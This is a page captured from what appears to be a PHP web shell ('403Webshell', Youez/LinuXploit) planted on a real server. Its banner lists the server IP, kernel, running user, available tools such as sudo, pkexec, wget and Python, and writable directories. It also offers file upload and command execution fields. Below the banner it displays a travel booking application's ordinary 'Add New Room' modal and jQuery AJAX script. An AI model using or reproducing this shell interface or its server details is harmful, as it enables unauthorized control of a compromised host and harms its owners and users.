403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/accommodation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/accommodation/add.phtml
    
<div class="modal fade" id="addNewRoomTypeForm" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
        <div class="modal-dialog">
            
            <form name="frmAddRoomTypeInventory" id="frmAddRoomTypeInventory" method="post" class="frmAddRoomTypeInventory">  
                
            <input type="hidden" name="hidden_module_name" id="hidden_module_name" value="">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" onclick="closePopRoomType();" aria-hidden="true">&times;</button>
                    <h4 class="modal-title" id="myModalLabel">Add New Room </h4>
                </div>
                <div class="modal-body">
                
                <div class="alert alert-danger" id="room-popup-error-message-box" style="display:none">
                    <span id="room-popup-error-message"></span>
                </div>
                    
                    
                   <div class="col-md-12">
                    <div class="form-group">
                        <label>Room Name<?php echo MANDATORY_SIGN; ?></label>
                        <input type="text" name="Title" id="RoomTitle" class="form-control whbg">                       
                    </div>
                    </div>
                   
                <div class="clear"></div></div>
                
                
                <div class="modal-footer">
                    <button type="button" class="btn btn-primarygray btn-sm" onclick="closePopRoomType();">Cancel</button>
                    <button type="button" class="btn btn-warning btn-sm" onclick="addRoomType();">Submit</button>
                </div>
                
            </div>
            </form>    
        </div>
    </div>
    <!--Add New Supplier-->
    <!--<script src="<?php// echo $this->baseUrl('public/countrycode/script.js?rv=1144'); ?>"></script>-->
    <script type="text/javascript">
  
 function closePopRoomType(){
    $('#addNewRoomTypeForm').modal('hide');
    $('body').removeClass('modal-open');
    $('.modal-backdrop').remove();
}
function addRoomType() {
        
    var module_name = $("#hidden_module_name").val();
    var data   = $('#RoomTitle').val();
    var ind = $('.current_room_type_index').val();
    var key = $('.current_room_type_key').val();
    //alert(data);return false;
    $.ajax({
        url  : '/room-type/add-room-type',
        data : 'Title='+data + '&page=popup',
        type : 'POST',
        dataType : 'json',
        error : function() {

        },
        beforeSend : function() {

        },
        success : function(response) {

            if(response.success) {
                if(ind == '0' && key == '0'){
                    $("#hidden_room_type_id").val(response.RoomType);
                    $("#room_type").val(response.Title).focus();
                }else if(module_name == 'readymade'){
                    $("#room_type_"+ind).val(response.RoomType);
                    $("#room_"+ind).val(response.Title).focus();
                    var ind1 = ind.split('_');
                    var ind1 = ind1[0]+'_'+ind1[1];
                    addroomtype(ind1,ind);
                    
                }else if(module_name == 'buildquickpackage'){
                    $("#roomtype"+ind).val(response.RoomType);
                    $("#room_"+ind).val(response.Title);
                }else{
                    $("#hidden_room_type_id_"+ind+'_'+key).val(response.RoomType);
                    $("#room_type_"+ind+'_'+key).val(response.Title).focus();
                }
                $('#addNewRoomTypeForm').modal('hide');
                //alert(option);
            } else {
                $("#room-popup-error-message-box").fadeIn().delay(1000).fadeOut();
                $("#room-popup-error-message").html(response.msg);
            }

        }
    });
         
    return true;
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit